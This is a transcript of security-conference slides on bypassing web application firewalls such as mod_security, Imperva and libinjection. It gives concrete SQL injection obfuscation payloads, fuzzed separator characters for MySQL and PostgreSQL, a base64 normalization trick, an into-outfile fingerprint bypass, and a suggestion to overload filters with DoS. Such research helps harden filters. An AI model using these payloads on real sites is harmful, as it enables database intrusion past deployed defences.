Lie to Me: Bypassing Modern Web Application Firewalls
- 2. About
• Security audits of webapps since 2009
• @d0znpp twitter
• @ONsec_lab twitter
• Nice blog! http://lab.onsec.ru - [ENG]
• d0znpp[at]ONsec[dot]ru еmаi1
- 3. WTF WAF?
• Web Application Firewall
• Prevent attacks
• Attack !=Vulnerability
• Risk != Attack
- 5. Implementation
• Failover bypass:
• DoS/DDoS WAF for bypass it- why not?!
• What happens with traffic when your
filter is overloaded?
• XML, regexp, token bombs for this
• Not so silently, right? :)
- 6. WAF work stages
• Parse HTTP packet from client (web server
to this in general case)
• Determine rules that must be applied to
current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64,
etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
- 7. WAF work stages
• Parse HTTP packet from client (web server
to this in general case)
• Determine rules that must be applied to
current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64,
etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
- 9. Parse HTTP packets
• First read: «Protocol-Level Evasion of Web
Application Firewalls», Ivan Ristic, BH-
US-2012
• Nice yesterday bypass Imperva by
@webpentest during PHDays WAF bypass
contest: Content-Type: invalid :)))
• Classic example - HTTP Parameter
Pollution
• Are you sure that WAF’s and webapp’s
HTTP protocols are the same?
- 10. WAF work stages
• Parse HTTP packet from client (web server
to this in general case)
• Determine rules that must be applied to
current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64,
etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
- 12. Data normalization
• Format parsers, for example:
• base64
• xml
• JSON
• Are you sure that WAF’s and webapp’s
parsers are the same?
- 13. Data normalization
• mod_security, t:base64decode
• decode string until first = char
• PHP, base64_decode($strict=false)
• decode whole string
• Attack vector
• YWFh=attackhere
• Use t:base64DecodeExt!
- 14. Data normalization
• Yet another example from yesterday
PHDays WAF bypass contest - Imperva
XML decoding
• First decode XML, that validate attacks
• XML input was not set up as XML type in
WAF
• Put attack as XML-encoded data (entities)
to bypass regexpr: union select 123
- 15. WAF work stages
• Parse HTTP packet from client (web server
to this in general case)
• Determine rules that must be applied to
current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64,
etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
- 18. SQL syntax
• First read this works:
• http://websec.wordpress.com/tag/sql-
obfuscation/
• http://www.slideshare.net/nickgsuperstar/
new-techniques-in-sql-obfuscation
• Obfuscated vector is more than welcome!
• Try to exploit
- 19. SQL syntax - time to
fuzzing!
• SELECT{$P1} 1 FROM...
• ...UNION{$P2}FROM...
• SELECT VERSION{$P3}()
• SELECT{$P4}VERSION{P4}()
• SELECT 1{P5}BAD
- 20. MySQL: the classics
• SELECT{U} 1 FROM
• ...UNION{U}FROM...
• SELECT VERSION{U}()
• {U} = [0x09,0x0A-0x0D,0x20,0xA0]*
• Fuzzed only 1-bytes sequences, not /**/, etc
- 21. MySQL: time to fuzzing!
• SELECT{F}VERSION{F}()
• SELECT 1{D}BAD
• {F} = {U} + 0x60 (backquote `)
• {D} = # + 0x60
• Have a fun with regexp:
• select`version` ( )
• ... where id=’1’`’ and ... - commented now
- 22. MySQL: break tokens!
• SELECT{O}1 FROM test
• {O} = [-+!~@]
• SELECT 1{W}FROM test;
• {W} = [.d?|ed]
• Part of this discovered during our WAF
bypass contest last year by @Black2Fan
- 23. MySQL: break tokens!
• SELECT-1e1FROM test
• SELECT~1.FROM test
• SELECTNFROM test
• SELECT@^1.FROM test
• SELECT-id-1.FROM test
• all tested on MySQL 5.1.66-0-squeeze1
- 24. Postgres: the classics
• SELECT{U} 1 FROM
• ...UNION{U}FROM...
• SELECT VERSION{U}()
• {U} = [0x09,0x0A,0x0C,0x0D,0x20]*
• Fuzzed only 1-bytes sequences, not /**/, etc
- 25. Postgres: time to fuzz!
• SELECT{F}VERSION{F}()
• SELECT 1{D}BAD
• {F} = {U} + 0x22 (doblequote ‘’)
• {D} = # + 0x22
• Have a fun with regexp:
• select’’version’’ ( )
• ... where id=’1’`’ and ... - commented now
- 26. Postgres: break tokens!
• SELECT{O}1 FROM test
• {O} = [.-+!~@] - @ is absolute operator
• SELECT 1{W}FROM test;
• {W} = [.d?|ed|] - nothing is also OK!
- 27. Postgres: break tokens!
• SELECT-1ROM test
• SELECT.1FROM test
• SELECT~1FROM test
• SELECT-id-1FROM test
• SELECT-id-1FROM test
• all tested on PostgreSQL 9.2.4
- 30. mod_security
• ?id=select id from test
• ?id=select-id-1.from test
Message: Access denied with code 403 (phase 2). Pattern match "(?i:(?:unions*?(?:all|
d i s t i n c t | [ ( ! @ ] * ? ) ? s * ? [ ( [ ] * ? s * ? s e l e c t s + ) | ( ? : w + s + l i ke s + [ " ' `
xc2xb4xe2x80x99xe2x80x98])|(?:likes*?["'`xc2xb4xe2x80x99xe2x80x98]%)|
(?:["'`xc2xb4xe2x80x99xe2x80x98]s*?likeW*?["'`xc2xb4 ..." at ARGS:id. [file "/
opt/modsecurity/rules/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line
"223"] [id "981245"] [msg "Detects basic SQL authentication bypass attempts 2/3"] [data
"Matched Data: select id from found within ARGS:id: select id from test"] [severity
"CRITICAL"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"]
- 31. mod_security
• ?id=1 or 1=1 or
• ?id=1 or true or
Message: Access denied with code 403 (phase 2). Pattern match "(?i:([s'"`
x c 2 x b 4 x e 2 x 8 0 x 9 9 x e 2 x 8 0 x 9 8 ( ) ] * ? ) ( [ d w ] + + ) ( [ s ' " `
xc2xb4xe2x80x99xe2x80x98()]*?)(?:(?:=|<=>|r?like|soundss+like|regexp)([s'"`
xc2xb4xe2x80x99xe2x80x98()]*?)2|(?:!=|<=|>=|<>|<|>|^|iss+not|not ..." at
A R G S : i d . [ fi l e " / o p t / m o d s e c u r i t y / r u l e s / b a s e _ r u l e s /
modsecurity_crs_41_sql_injection_attacks.conf"] [line "77"] [id "950901"] [rev "2"] [msg
"SQL Injection Attack: SQL Tautology Detected."] [data "Matched Data: 1=1 found within
ARGS:id: 1 or 1=1 or "] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.7"] [maturity "9"]
[accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/
WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/
6.5.2"]
- 32. libinjection
• Token based detection
• No more regexp!
• Fingerprint for each attack 1-5 tokens
sequence
• 14 token types, 14^5+14^4+14^3+14^2+14
~= 580k possible fingerprints
• Is it enough to block all SQLi?
- 34. Attack #1. Missed
token / fingerprint
• As fuzzed above ` 0x60 byte can be used as
a comment in MySQL and also as function
quotes
• ' into outfile 'asd' --
• block - skksc
• ' into outfile 'asd' `
• bypass - skksn
- 35. Attack #2.Token
obfuscation
• Find any unblocked fingerprint
• Obfuscate your attack to produce the same
fingerprint
• Fingerprint have only 5 tokens
• Need to exploit anti-obfuscation logic (1+1
and others hardcoded token combinations)
- 36. Attack #2.Token
obfuscation
• Fingerprint «v1111» looks like safe
• @a1a2a3a4 - variable but fingerprint of this
string is «v», no numeric token here
• @ф1й2у3ц4 - is valid variable for MySQL,
but produce fingerprint «v1111»
• @ф1й2у3ц4 union select ... produce
fingerprint «v1111» also :)
- 37. Some stats
• Hacking WAFs since 2009
• About 50 different implementations
• About 10 different engines
• Time to hack:
• min: 3 min
• max: 19 hours
• average: 1hour